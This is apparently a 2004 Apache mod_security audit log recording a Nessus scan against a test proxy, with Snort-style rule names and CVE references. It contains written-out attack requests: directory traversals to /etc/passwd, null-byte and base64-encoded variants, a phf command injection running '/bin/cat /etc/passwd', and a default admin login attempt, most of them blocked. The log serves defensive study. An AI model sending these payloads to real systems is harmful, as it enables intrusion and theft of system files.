Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1703CAN-2001-0212
BID2367
Nessus 10638
web-application-attackWEB-CGI auktion.cgi directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:41:50 2004] "GET /cgi-bin/auktion.cgi?menue=../../../../../../../../../etc/passwd HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/auktion.cgi
----------------------------------------
GET /cgi-bin/auktion.cgi?menue=../../../../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1704BID2663
CVE-2001-0463
web-application-attackWEB-CGI cal_make.pl directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:40:22 2004] "GET /cgi-bin/cal_make.pl?p0=../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/cal_make.pl?p0=../../../../../../../../../etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1709web-application-activityWEB-CGI ad.cgi access
Request: 218.73.15.215 - - [Wed Mar 10 21:37:04 2004] "GET http://www.afreeb.com/offers/ad.cgi?of=855&af=207902 HTTP/1.0" 302 315
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/ad\.cgi" at THE_REQUEST.
----------------------------------------
GET http://www.afreeb.com/offers/ad.cgi?of=855&af=207902 HTTP/1.0
Accept: */*
Accept-Language: en
Host: www.afreeb.com
Pragma: no-cache
Referer: http://searchwithbest.com/search.php?PHPSESSID=a0107b976c97977efcaa628d1d163ff2&q=auctions
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
X-Forwarded-For: 204.149.149.128
mod_security-message: Warning. Pattern match "/ad\.cgi" at THE_REQUEST.

HTTP/1.0 302 Found
Location: http://offersquest.directtrack.com/ad/335/CD982/lead_info=207902
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from www.testproxy.net
Connection: close
1710web-application-activityWEB-CGI bbs_forum.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:07 2004] "GET /cgi-bin/bbs_forum.cgi HTTP/1.1" 404 301
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/bbs_forum\.cgi" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/bbs_forum.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/bbs_forum\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=94
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1711web-application-activityWEB-CGI bsguest.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:27 2004] "GET /cgi-bin/bsguest.cgi HTTP/1.1" 404 299
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/bsguest\.cgi" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/bsguest.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/bsguest\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1712web-application-activityWEB-CGI bslist.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:31 2004] "GET /cgi-bin/bslist.cgi HTTP/1.1" 403 302
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/bslist.cgi
----------------------------------------
GET /cgi-bin/bslist.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1713web-application-activityWEB-CGI cgforum.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:34 2004] "GET /cgi-bin/cgforum.cgi HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/cgforum.cgi
----------------------------------------
GET /cgi-bin/cgforum.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1715web-application-activityWEB-CGI register.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:41 2004] "GET /cgi-bin/register.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/register.cgi
----------------------------------------
GET /cgi-bin/register.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=37
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1716CVE-2000-1131web-application-activityWEB-CGI gbook.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:38 2004] "GET /cgi-bin/gbook.cgi HTTP/1.1" 403 301
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/gbook.cgi
----------------------------------------
GET /cgi-bin/gbook.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=63
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1717web-application-activityWEB-CGI simplestguest.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:42 2004] "GET /cgi-bin/simplestguest.cgi HTTP/1.1" 403 309
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/simplestguest.cgi
----------------------------------------
GET /cgi-bin/simplestguest.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=25
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1724CAN-2002-1526web-application-activityWEB-CGI emumail.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:36 2004] "GET /cgi-bin/emumail.cgi HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/emumail.cgi
----------------------------------------
GET /cgi-bin/emumail.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=79
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1730Nessus 10645
CAN-2001-0466
web-application-attackWEB-CGI ustorekeeper.pl directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:39:10 2004] "GET /cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 403 307
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ustorekeeper.pl
----------------------------------------
GET /cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1762CVE-1999-0067
arachNIDS 128
BID629
web-application-attackWEB-CGI phf arbitrary command execution attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:42:32 2004] "GET /cgi-bin/phf?QALIAS=x%0a/bin/cat%20/etc/passwd HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [10]
----------------------------------------
GET /cgi-bin/phf?QALIAS=x%0a/bin/cat%20/etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1767CAN-2000-0835
Nessus 10514
web-application-activityWEB-MISC search.dll access
Request: 61.237.215.17 - - [Thu Mar 11 06:01:23 2004] "GET http://www.qksrv.net/click-1378908-5319899-828608071012204703?loc=http://search.ebay.com/search/search.dll?query=dreamcast&MfcISAPICommand=GetResult&ht=1&SortProperty=MetaEndSort HTTP/1.0" 302 753
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/search\.dll" at THE_REQUEST.
----------------------------------------
GET http://www.qksrv.net/click-1378908-5319899-828608071012204703?loc=http://search.ebay.com/search/search.dll?query=dreamcast&MfcISAPICommand=GetResult&ht=1&SortProperty=MetaEndSort HTTP/1.0
Accept: image/gif, image/jpeg, image/x-xbitmap, application/vnd.ms-excel, */*
Accept-Language: en-us
Host: www.qksrv.net
Pragma: no-cache
Referer: http://search.revenuepilot.com/servlet/search?mode=search&id=8601&sid=0&keyword=Dreamcast
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows ME)
X-Forwarded-For: 205.94.253.235
mod_security-message: Access denied with code 200. Pattern match "/search" at THE_REQUEST.

HTTP/1.0 302 Found
P3P: policyref="http://www.qksrv.net/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"
Cache-control: no-cache
Pragma: max-age=0
Location: http://www.commission-junction.com/track/track.dll?AID=5319899&PID=1378908&UID1811=arxjpg5-800295679-1079002883781-20&CBID=t8rs8ycq&SID=828608071012204703&loc=http%3A%2F%2Fsearch.ebay.com%2Fsearch%2Fsearch.dll%3Fquery%3Ddreamcast&MfcISAPICommand=GetResult&ht=1&SortProperty=MetaEndSort
Set-Cookie: S=arxjpg5-800295679-1079002883781-20; domain=.qksrv.net; path=/; expires=Tue, 10-Mar-2009 11:01:23 GMT
Set-Cookie: QKINFO=ef5d-360uz-tjz0-828608071012204703-120-t8rs8ycq-; domain=.qksrv.net; path=/; expires=Tue, 10-Mar-2009 11:01:23 GMT
Set-Cookie: LCLK=cjo!ef5d-t8rs8ycq; domain=.qksrv.net; path=/; expires=Tue, 10-Mar-2009 11:01:23 GMT
Content-Type: text/html
Content-Length: 753
X-Cache: MISS from www.testproxy.net
Connection: close
1769macintouchweb-application-activityWEB-MISC .DS_Store access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:42 2004] "GET /.DS_Store HTTP/1.1" 403 293
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/.DS_Store
----------------------------------------
GET /.DS_Store HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1770securiteamweb-application-activityWEB-MISC .FBCIndex access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:45 2004] "GET /.FBCIndex HTTP/1.1" 404 289
Handler: (null)
Error: mod_security: Warning. Pattern match "/\.FBCIndex" at THE_REQUEST.
----------------------------------------
GET /.FBCIndex HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/\.FBCIndex" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1772ms00-094web-application-activityWEB-IIS pbserver access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:53 2004] "GET /pbserver/pbserver.dll HTTP/1.1" 403 305
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/pbserver
----------------------------------------
GET /pbserver/pbserver.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1774securiteamweb-application-activityWEB-PHP bb_smilies.php access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:00 2004] "GET //bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK HTTP/1.1" 404 295
Handler: (null)
Error: mod_security: Warning. Pattern match "/bb_smilies\.php" at THE_REQUEST.
----------------------------------------
GET //bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/bb_smilies\.php" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1787BID4889
BID4887
BID4886
BID4885
web-application-activityWEB-CGI csPassword.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:34 2004] "GET /cgi-bin/csPassword.cgi HTTP/1.1" 403 306
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/csPassword.cgi
----------------------------------------
GET /cgi-bin/csPassword.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=93
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1824BID4983
Nessus 11027
web-application-activityWEB-CGI alienform.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:51 2004] "GET /alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd HTTP/1.1" 403 297
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/alienform.cgi
----------------------------------------
GET /alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1825BID4983
Nessus 11027
web-application-activityWEB-CGI AlienForm af.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:52 2004] "GET /cgi-bin/af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd HTTP/1.1" 403 298
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/af.cgi
----------------------------------------
GET /cgi-bin/af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1826Nessus 11037web-application-activityWEB-MISC WEB-INF access
Request: 217.160.165.173 - - [Fri Mar 12 22:30:21 2004] "GET /./WEB-INF/ HTTP/1.1" 404 288
Handler: (null)
Error: mod_security: Warning. Pattern match "/WEB-INF" at THE_REQUEST.
----------------------------------------
GET /./WEB-INF/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/WEB-INF" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1827BID5193
Nessus 11041
web-application-attackWEB-MISC Tomcat servlet mapping cross site scripting attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:37:18 2004] "GET /servlet/org.apache.catalina.servlets.DefaultServlet/index.html HTTP/1.1" 403 346
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/servlet
----------------------------------------
GET /servlet/org.apache.catalina.servlets.DefaultServlet/index.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1829BID4575
Nessus 11046
web-application-activityWEB-MISC Tomcat TroubleShooter servlet access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:23 2004] "GET /examples/servlet/TroubleShooter HTTP/1.1" 404 311
Handler: (null)
Error: mod_security: Warning. Pattern match "/examples/servlet/TroubleShooter" at THE_REQUEST.
----------------------------------------
GET /examples/servlet/TroubleShooter HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/examples/servlet/TroubleShooter" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1830BID4575
Nessus 11046
web-application-activityWEB-MISC Tomcat SnoopServlet servlet access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:32 2004] "GET /examples/servlet/SnoopServlet HTTP/1.1" 404 309
Handler: (null)
Error: mod_security: Warning. Pattern match "/examples/servlet/SnoopServlet" at THE_REQUEST.
----------------------------------------
GET /examples/servlet/SnoopServlet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/examples/servlet/SnoopServlet" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1847CAN-1999-0643
Nessus 10816
web-application-activityWEB-MISC webalizer access
Request: 217.160.165.173 - - [Fri Mar 12 22:30:34 2004] "GET /webalizer/ HTTP/1.1" 404 290
Handler: (null)
Error: mod_security: Warning. Pattern match "/webalizer/" at THE_REQUEST.
----------------------------------------
GET /webalizer/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/webalizer/" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1848Nessus 10298
CAN-1999-0610
web-application-activityWEB-MISC webcart-lite access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:46 2004] "GET /webcart-lite/config/clients.txt HTTP/1.1" 403 315
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/webcart-lite
----------------------------------------
GET /webcart-lite/config/clients.txt HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1851CAN-2000-0642
Nessus 10470
web-application-activityWEB-MISC active.log access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:37 2004] "GET /active.log HTTP/1.1" 404 290
Handler: (null)
Error: mod_security: Warning. Pattern match "/active\.log" at THE_REQUEST.
----------------------------------------
GET /active.log HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/active\.log" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1852Nessus 10302web-application-activityWEB-MISC robots.txt access
Request: 217.160.165.173 - - [Fri Mar 12 22:30:21 2004] "GET /robots.txt HTTP/1.1" 404 290
Handler: (null)
Error: mod_security: Warning. Pattern match "/robots\.txt" at THE_REQUEST.
----------------------------------------
GET /robots.txt HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/robots\.txt" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1857Nessus 10302web-application-activityWEB-MISC robot.txt access
Request: 217.160.165.173 - - [Fri Mar 12 22:44:23 2004] "GET /robot.txt HTTP/1.1" 404 289
Handler: (null)
Error: mod_security: Warning. Pattern match "/robot\.txt" at THE_REQUEST.
----------------------------------------
GET /robot.txt HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/robot\.txt" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1859Nessus 10995default-login-attemptWEB-MISC Sun JavaServer default password login attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:32:09 2004] "GET /servlet/admin?category=server&method=listAll&Authorization=Digest+username%3D%22admin%22%2C+response%3D%22ae9f86d6beaa3f9ecb9a5b7e072a4138%22%2C+nonce%3D%222b089ba7985a883ab2eddcd3539a6c94%22%2C+realm%3D%22adminRealm%22%2C+uri%3D%22%2Fservlet%2Fadmin%22&service= HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/servlet/admin] for 50000 ms
----------------------------------------
GET /servlet/admin?category=server&method=listAll&Authorization=Digest+username%3D%22admin%22%2C+response%3D%22ae9f86d6beaa3f9ecb9a5b7e072a4138%22%2C+nonce%3D%222b089ba7985a883ab2eddcd3539a6c94%22%2C+realm%3D%22adminRealm%22%2C+uri%3D%22%2Fservlet%2Fadmin%22&service= HTTP/1.0
mod_security-message: Access denied with code 200. Pattern match "ae9f86d6beaa3f9ecb9a5b7e072a4138" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1862Nessus 11001web-application-attackWEB-CGI mrtg.cgi directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:38:23 2004] "GET /cgi-bin/mrtg.cgi?cfg=/../../../../../../../../../etc/passwd HTTP/1.1" 403 300
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/mrtg.cgi
----------------------------------------
GET /cgi-bin/mrtg.cgi?cfg=/../../../../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1868CVE-2001-0804
Nessus 10817
default-login-attemptWEB-CGI story.pl arbitrary file read attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:40:33 2004] "GET /cgi-bin/story.pl?next=../../../../../etc/passwd%00 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/story.pl?next=../../../../../etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
